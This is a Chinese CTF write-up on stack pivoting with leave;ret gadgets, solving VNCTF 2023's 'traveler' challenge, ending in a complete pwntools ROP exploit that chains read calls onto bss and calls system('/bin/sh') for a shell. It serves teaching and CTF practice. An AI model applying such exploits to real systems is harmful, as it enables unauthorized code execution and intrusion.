CTF-PWN-栈溢出-中级ROP-【栈迁移】

文章目录

  • 栈迁移
    • 具体流程
  • VNCTF 2023 traveler libc-2.27
  • 检查
  • 源码
    • main函数![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/386c35c30f854434ae43667b9473c58a.png)
    • 全局变量地址
    • 局部变量地址
  • PIE保护
    • 开启PIE
    • 关闭PIE
  • 思路
  • exp

栈迁移参考
栈迁移参考

栈迁移

顾名思义,就是将当前的栈帧迁移到其他位置,即rsp和rbp改变到某些位置去
核心思想:先向某个内存区域写入gadget,然后通过第一次leave_ret修改rbp为之前溢出保存的rbp,ret再执行leave_ret,然后再将rsp的值修改为了rbp,然后再pop rbp将写入gadget的内存区域的前八个字节作为新的rbp,ret再执行写入gadget的内存地址+8处的指令。(多次栈迁移就在写入gadget的内存区域的前八个字节作为待会要迁移到的rsp的地址,然后在最后部分也是leave_ret,此时记得leave_ret之前仍需提前构造好待会要迁移到的rsp的地址的gadget内容。否则leave_ret后虽然迁移过去了,但是ret可能执行不了)

具体流程

  • leave相当于mov rsp,rbp pop rbp;
  • ret相当于pop rip;
  • mov rsp,rbp 将rbp的值赋值给rsp寄存器
  • pop rbp 把栈顶的值弹到rbp寄存器里

首先是确保可以栈溢出将 ebp,ret_addr 都可以覆盖

  1. 每个函数最后会执行leave;ret,此时会将rbp的值赋值给rsp,然后将栈顶的值(此时栈顶保存的是之前保存的rbp)给rbp
  2. 当溢出修改原来保存的rbp后,当执行leave后,rbp被修改为之前溢出修改的rbp,此时返回地址也应在之前就溢出修改为leave;ret的地址
  3. 当执行返回地址时,此时会将rsp也移动到修改后的rbp的位置,之后将此时rsp的栈顶的内容弹出给rbp,然后rbp被再次修改,然后再执行此时的栈顶的内容指向的位置

总结

  • . 第一次leave;ret;修改rbp为之前溢出保存的rbp
  • . 第二次leave;ret;此时修改rsp为修改后的rbp的值,同时会再次pop修改rbp的内容。此时ret指令会指向当前栈顶的内容指向的地址的指令(这样可以多次栈迁移只需保证leave时pop时的内容为需要去的位置,然后最后只需leave;ret,便可继续执行对应位置的rop链)

VNCTF 2023 traveler libc-2.27

检查

可栈溢出
在这里插入图片描述

源码

main函数在这里插入图片描述

存在明显的栈溢出,并且只能溢出16个字节,即只能修改保存的rbp值和返回地址

全局变量地址

在这里插入图片描述

局部变量地址

在这里插入图片描述

PIE保护

PIE保护会修改程序允许时候的加载地址,但程序内部各个段之间的位置的相对偏移是不会变的,即可以认为变了程序放进内存的起始地址,只变了起点,然后在接着把其放进去,程序本身没有变化

所以说如果开启了PIE,那么程序内部是没有变化的,但由于基地址改变,所以各个段的位置都会在原本的程序的相对偏移之上再加上起始地址

开启PIE

在这里插入图片描述

关闭PIE

在这里插入图片描述
由于此时本身traveler文件是关闭PIE的,我可以接到IDA中去找gadget,并且全部变量的位置也可以到IDA中找

思路

此时程序中有system函数且关闭PIE,那么可以直接调用IDA中中对应system的地址,如果可执行程序中没有system函数可能需要libc基地址+system偏移。题目既然给了system函数,那就用吧

参数/bin/sh的解决,反正程序肯定需要栈迁移,不然溢出的范围太少,不能添入一些构造参数的gadget和函数的gadget,所以肯定到迁移的地方填充gadget。关于/bin/sh的地址我们可以在全局变量处输入/bin/sh,由于知道全局变量的地址,所以可以知道/bin/sh的地址

注意
此时发现出现错误,原因是RSP对应的位置是不能写的
在这里插入图片描述
此时该部分地址只允许读,不允许写,此时操作需要写,所以报错
在这里插入图片描述
此时可以通过抬高在调用system之前抬高RSP的值避免出现这种情况,需要再次修改RSP,则需再次栈迁移

结合调用system时的RSP和此时报错时的RSP,此时RSP减少了0x300多,所以保险起见,准备将RSP再次迁移到为+0x400的位置,然后发现还是会出现某些bug,为了以防万一,还是尽可能往大调吧

首先,修改保存的rbp为bss上能够在main函数结束前写入rop链的位置,然后返回地址是leave_re从而使得此时能够将rsp移动到已经写好rop链的地方。

这里最终修改rbp为自己溢出的保存的rbp然后再执行leave_ret是在main函数结束时,此时在main函数结束前还需执行一个read函数往bss段上写入数据,此时写入相应的rop链,此时第一个值为待会要给rbp修改的新值,然后是一系列gadget。由于之前说过执行system时候,rsp不能过低。而如果此时的gadget直接是system的gadget,那么rsp较低,会出现之前的情况,所以我们还需栈迁移一次,修改rsp的值,然后在执行相应的rop链。所以此时的gadget应该是能够进行栈迁移的,即为待会要改到的rsp值+修改参数的gadget+read函数+leave_ret,此时由于想直接用程序内的gadget来构造参数,此时可以以原函数开始准备read函数调用的地址作为调用read函数地址,此时可以参数构造就不要担心需要找gadget或者直接利用read函数后rdi rsi rdx没有被修改的特点从而只修改rsi即可,正好存在这样的gadget(main函数ret结束前调用的最后一个函数是向bss段输入数据)。此时我选择第二种,输入为 bss上的大地址+pop_rsi_ret+参数+read_plt+leave_ret

但此时出现一个问题此时对应的输入是大于0x28的,emmmm所以怎么办呢?

如果此时能够少一个8个字节的项就好了,由于pop_rsi_ret+参数+read_plt+leave_ret都不能少,这样才能成功栈迁移并往bss上的大地址写入rop链。所以如果能再输入一次然后只用输入这些gadget即可,同时还要保证rop链执行的连续

这个时候有个很精彩的方法就是,先read,往read下一条指令的位置写入gadget,然后read结束后,也就执行之前写入的gadget了,因为read函数里要执行ret时,内容已经写入对应位置了。注意这里不能调用read的函数不要用call read,否则会压入一个返回地址,这个返回地址是call read指令部分的下一条地址,这样就没办法成功构成rop链了。

所以此时第一次输入为bss上的大地址+pop_rsi_ret+参数+read_plt (此时的参数是第二次输入的地址)
然后第二次输入为pop_rsi_ret+参数+read_plt+leave_ret(此时的参数是 bss上的大地址)

最后再输入的gadget就是/bin/sh\x00+pop_rdi_ret+参数+system函数地址(参数为/bin/sh的地址)

exp

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
t=process("./traveler")
elf=ELF("./traveler")
#gdb.attach(t,"b ,main")
bss_addr=0x00000000004040A0
pop_rdi=0x00000000004012c3
system_addr=0x0000000000401090
pop_rsi_r15_ret = 0x004012c1
leave_ret=0x0000000000401253
read_addr=elf.plt["read"]
ret = 0x40101apayload=b"a"*0x20+p64(bss_addr)+p64(leave_ret)
t.sendafter(b"who r u?\n",payload)payload=p64(bss_addr+0x700)+p64(pop_rsi_r15_ret)+p64(bss_addr+0x28)+p64(0)+p64(read_addr) #分两次的原因原来的rdx是0x28,如果整合到一个gadget,需要多八个字节,所以分两次read
t.sendafter(b"How many travels can a person have in his life?\n",payload)payload=p64(pop_rsi_r15_ret)+p64(bss_addr+0x700)+p64(0)+p64(read_addr)+p64(leave_ret)
t.send(payload)
payload=b"/bin/sh\x00"+p64(pop_rdi)+p64(bss_addr+0x700)+ p64(ret) +p64(system_addr)
t.send(payload)                  t.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/608946.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HCIA-Datacom题库(自己整理分类的)_15_VRP平台多选【9道题】

1.VRP操作平台存在哪些命令行视图? 用户视图 接口视图 协议视图 系统视图 2.以下哪些存储介质是华为路由器常用的存储介质 SDRAM NVRAM Flash Hard Disk SD Card 解析:Hard Disk是硬盘,一般网络设备没有。 3.VRP支持通过哪几种方式对路由器…

C#操作注册表

说明 今天用C#开发了一个简单的服务,需要设置成为自启动,网上有很多方法,放到启动运行等,但是今天想介绍一个,通过修改注册表实现,同时介绍一下操作注册表。 private void TestReg(){//仅对当前用户有效 H…

分析一个项目(微信小程序篇)二

目录 首页: 发现: 购物车: 我的: 分析一个项目讲究的是如何进行对项目的解析分解,进一步了解项目的整体结构,熟悉项目的结构,能够知道每个组件所处在哪个位置,发挥什么作用。 接…

基于Springboot的计算机学院校友网(有报告)。Javaee项目,springboot项目。

演示视频: 基于Springboot的计算机学院校友网(有报告)。Javaee项目,springboot项目。 项目介绍: 采用M(model)V(view)C(controller)三层体系结构,通过Spring…

密码学(二)

文章目录 前言一、Certificate Authorities二、Key Agreement Protocols 前言 本文来自 Intel SGX Explained 请参考:密码学(一) 一、Certificate Authorities 非对称密钥密码学中的公钥和私钥假设每个参与方都拥有其他参与方的正确公钥。…

【JAVA】Java8开始ConcurrentHashMap,为什么舍弃分段锁

🍎个人博客:个人主页 🏆个人专栏: JAVA ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 分段锁的好处: 结语 我的其他博客 前言 在Java 8中,ConcurrentHashMap的实现经历了重大的改进&am…

在Ubuntu中检查内存的五个命令,总有一种适合你

序言 作为Ubuntu用户,尤其是管理员,我们需要检查系统使用了多少内存资源,以及有多少是可用的。我们还知道,大多数管理任务最好从Linux命令行完成,而不是从图形用户界面完成。例如,服务器通常在shell上工作,没有图形用户界面。由于控制服务器上的内存资源是最重要的,因…

Linux 如何 kill 指定的 python 进程

文章目录 写在前面一、显示python相关的进程二、找到自己想要 kill 的进程,执行下述指令 写在前面 自己的系统是 Ubuntu 20.04 一、显示python相关的进程 ps -ef | grep python显示结果如下 其中,第二列分别是各个进程的 PID 号。 二、找到自己想要…

facebook广告对于推广的重要性

广告覆盖广泛: Facebook是全球最大的社交媒体平台之一,拥有数十亿的用户。通过在Facebook上投放广告,广告主可以覆盖到大量潜在客户,提高品牌曝光度。 精准定位和定向广告: Facebook提供了强大的广告定位和定向功能&a…

python 基础笔记

基本数据类型 函数 lamda 匿名函数 成员方法 类 类与对象 构造方法 魔术方法 私有成员 私有方法 继承 注解 变量注解 函数注解 Union类型 多态 参考链接:黑马程序员python教程,8天python从入门到精通,学python看这套就够了_哔哩哔哩_bilib…

【Azure 架构师学习笔记】- Azure Databricks (5) - Unity Catalog 简介

本文属于【Azure 架构师学习笔记】系列。 本文属于【Azure Databricks】系列。 接上文 【Azure 架构师学习笔记】- Azure Databricks (4) - 使用Azure Key Vault 管理ADB Secret 前言 DataBricks Unity Catalog(UC)是一个统一的对数据资产治理的解决方案…

C# 一看就懂的装箱拆箱案例

文章目录 装箱(Boxing)拆箱(Unboxing)编程语言中的装箱与拆箱优缺点 在C#中,装箱(Boxing)和拆箱(Unboxing)是值类型与引用类型之间相互转换的过程。 装箱(Box…

Java实现基于GDAL将单波段影像转为三波段影像-唯一值渲染

在处理遥感影像的渲染时,经常需要处理单波段影像。单波段影像没有任何颜色,只有一个波段的值。渲染时只能采用色带拉伸、离散颜色、唯一值渲染这几种方式。直接将单波段影像转成三波段的影像,并将三个波段转为颜色对应的rgb值,这样…

2023高级人工智能期末总结

1、人工智能概念的一般描述 人工智能是那些与人的思维相关的活动,诸如决策、问题求解和学习等的自动化; 人工智能是一种计算机能够思维,使机器具有智力的激动人心的新尝试; 人工智能是研究如何让计算机做现阶段只有人才能做得好的…

接口自动化测试要做什么?

作者:不辣的皮皮 链接:https://www.zhihu.com/question/384727359/answer/1124441469 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 可以分为四个步骤/阶段。 原理 》 业务逻辑》 工具》 …

【现代密码学】笔记3.1-3.3 --规约证明、伪随机性《introduction to modern cryphtography》

【现代密码学】笔记3.1-3.3 --规约证明、伪随机性《introduction to modern cryphtography》 写在最前面私钥加密与伪随机性 第一部分密码学的计算方法论计算安全加密的定义:对称加密算法 伪随机性伪随机生成器(PRG) 规约法规约证明 构造安全…

Python算法例34 寻找丢失的数

1. 问题描述 给一个由1~n的整数随机组成的一个字符串序列,其中丢失了一个整数,本例将找到它。 2. 问题示例 给出n20,str19201234567891011121314151618,丢失的数是17。 3. 代码实现 def find_missing_number(n, string):nums…

【代码随想录】刷题笔记Day47

前言 又过了个愉快的周末~大组会终于不用开了,理论上已经可以回家了!但是我多留学校几天吧,回家实在太无聊了,也没太多学习的氛围 198. 打家劫舍 - 力扣(LeetCode) dp[i]含义 考虑下标i(包括…

【leetcode】力扣算法之两数相加【中等难度】

题目描述 给你两个 非空 的链表,表示两个非负的整数。它们每位数字都是按照 逆序 的方式存储的,并且每个节点只能存储 一位 数字。 请你将两个数相加,并以相同形式返回一个表示和的链表。 你可以假设除了数字 0 之外,这两个数都…

ASM磁盘管理:从初始化参数到自动化管理的全面解析

文章目录 一、引言二、ASM初始化参数三、ASM三大系统权限四、ASM实例的启停1.Oracle ASM的启停可以通过两种方式进行2.查看集群中的资源状态3.配置 ASM资源随着系统启动而启动4.配置数据库实例随着ASM启动而启动 五、数据库实例与ASM的交互六、 启动策略详解七、 ASM后台进程八…